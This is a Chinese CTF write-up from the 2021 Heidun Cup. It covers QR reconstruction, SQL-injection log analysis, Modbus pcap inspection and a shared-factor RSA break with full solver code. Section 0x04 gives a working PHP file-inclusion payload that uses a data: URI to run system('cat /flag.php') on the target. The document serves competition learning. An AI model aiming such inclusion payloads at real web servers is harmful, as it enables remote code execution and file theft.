0x00 Signin
题目分析
附件是一个由0和1组成的文本文件,根据经验判断可能是用于生成二维码的像素数据:

解题步骤
- 使用Python PIL库将01数据转换为二维码图片:
1from PIL import Image
2
3MAX = 500
4pic = Image.new("RGB", (MAX, MAX))
5binary_str = "1111...1111" # 实际为完整01字符串
6
7i = 0
8for y in range(MAX):
9 for x in range(MAX):
10 color = (0, 0, 0) if binary_str[i] == '1' else (255, 255, 255)
11 pic.putpixel((x, y), color)
12 i += 1
13
14pic.save("flag.png")
- 生成的不完整二维码:

- 使用在线工具Dynamsoft Barcode Reader扫描:

Flag: flag{5E57527B60}
0x01 日志分析
题目分析
给定access.log文件,分析SQL注入暴力破解行为。
解题步骤
-
搜索关键词
password发现SQL注入尝试:

-
关键观察:
- 状态码
200后的数字与SELECT语句相关 675表示True(字符正确)678表示False(字符错误)
- 状态码
-
提取十个正确字符的ASCII码值,拼接得到flag
0x02 ICS-Modbus的秘密
解题步骤
- 使用Wireshark打开pcap文件
- 筛选Modbus协议:
modbus - 按长度排序,查看最长数据包:

- 在数据包中找到flag
0x03 Decode
题目分析
给定三组RSA加密参数(n,e,c),存在模数共享攻击漏洞。
解题步骤
1from Crypto.Util.number import GCD, inverse, long_to_bytes
2
3# 给定参数
4n1 = 15228664629164509105936278301396170708905691970126305196584505186788860519598413718493859625462561931380632032431490419378905593909771649295663481782473029836321132574188559245931660756414915507930357509270674460219615256962333464689419869130366867401404262606367700782040693275068101244535880649261286041921882470460606034302142183971677715439862839410834231609821777031530457674591868138859358815039755085358568037032478394036448363183057305077227769673701227083943898736796552550712057417053897722979700329662099072959306298177351997084389916443815546425080826441671985030755256185725913397986385179516049927425591
5n2 = 28182418532443955655250943929828439725377604572088962537896240628709829618999901367131159759359513146864646169253348651905865895468151210748207509325666501438590382812326109260537618829438786609626137074778638549998280533912080708785604673270460635181275360847313985764185991865570533815651261638439461846512012164531330949433517277559149828806588070421852157781670188281908625986974579194819272643409859915715455134433970119584552350648013116998668938513347083566970423327936691885137812528912263666957628197241313496232397910546498542303925205356813548741679943691886217742767778075067797422624969714343428365022749
6n3 = 18355811159408154065817199279776805621878757240392366715869421799780946779485225342662736231980532326015283372375030686507311099745671828649419794838611580909610100636296701054995302819692794479292794716441442731393027118795245239019609474743841061251498233337758043553376098591254587406941205804917663153256036922860462415387926973551020540123742773938055950168965005226319984869124543783579240130888344231027912143592472823564266887957101575622993773291455143915263715932280728961208233983782906070719786115187115449430196335973764600533097718947377609348244073036523422892353195107093782201003551217830556519184839
7
8e1 = 65537
9e2 = 27751
10e3 = 65537
11
12c1 = 5368342382489380107251269030258282008067103595899117880173297169710980852124379736420135829984131832023988667774795223808420069001078159756328642298736759964890517323144475742861501409284299556459601222657540302786301791897975932176538612601162552795835603779910738886150925504885639254302406755008796950704938463132687940418772021406619622090999564746948113296328739593309200238996686945891130656599419832796482095787039339269564880847130379179831744694000940207887150388411084465949903406848727641093033681144598595895383689139227400553234701993087147186292040330589331703587405822925483701667354935313494938769206
13c2 = 21521672635651854919517759696514027081496995002884626306313384597771682621826437868933822942195279941318573525337109548152966094293276717095298929811895186384560362917891928656637913236676702009205642367801075592458101830488916914437754803979953027152373619293870115731171449223105986403604973873007338969000153480949617700626516389419935352576014084068271819009465242491467427642787306345049280205827574043586767133396458785487959251540831856187380154825027964867977651727983254127239427622549059938701125498520279503972702883327594442747467858234391945790597844344295786118320620376681461727686876948563884520137741
14c3 = 13940747781246179701167820858098775936269078279837839169409057305686612176371099274767269714494905207551971162649902129137425806839867713157472497469542260664882313041602553845621113546259276402534229231780532278276697961222319054833980226978574905974878218905613341365260453461080117407529132948986104191917111000811731784483944945364091757083949827612260904757837644538366763161154611658652020868326985526984718638276184626634240096213703958275241215175054246685206226179114590838833694648062135027841593419815101363262701960507235056752424778384286627997500871204804629047307688466887868894491042058198480775705486
15
16# 共享模数攻击
17p1 = GCD(n1, n2)
18q1 = n1 // p1
19phi1 = (p1-1)*(q1-1)
20d1 = inverse(e1, phi1)
21str1 = long_to_bytes(pow(c1, d1, n1))
22
23p2 = GCD(n1, n2)
24q2 = n2 // p2
25phi2 = (p2-1)*(q2-1)
26d2 = inverse(e2, phi2)
27str2 = long_to_bytes(pow(c2, d2, n2))
28
29p3 = GCD(n2, n3)
30q3 = n3 // p3
31phi3 = (p3-1)*(q3-1)
32d3 = inverse(e3, phi3)
33str3 = long_to_bytes(pow(c3, d3, n3))
34
35# 拼接flag
36flag = str1.split(b'is :')[1] + str2.split(b'is :')[1] + str3.split(b'is :')[1]
37print(flag.decode())
Flag: flag{G00d_w4y_tO_cR4ck_RS4}
0x04 my Template
解题步骤
- 使用御剑扫描网站目录:

发现www.zip文件 - 下载并审计代码:
- 发现删除session的操作
admin.php存在文件包含漏洞
- 构造Payload:
1/admin.php?file=data:text/plain,<?php system('cat /flag.php');?>
- 获取flag
0x05 Mastof of VM
解题步骤
- SSH连接到目标服务器
1ssh user@target_ip
- 发现flag文件但无权限读取:

- 在根目录找到flag.txt:
1cd /
2cat flag.txt

PS:高职组的小菜鸡第一次参与这种ctf赛第一次写wp写的不好多多见谅
说明:本文为2021年黑盾杯CTF竞赛部分题目Writeup,解题方法基于当时的环境和题目设置。部分技术细节可能随时间变化而失效或存在优化,请在实际应用中注意验证方法的有效性。
1

Comments | 0 条评论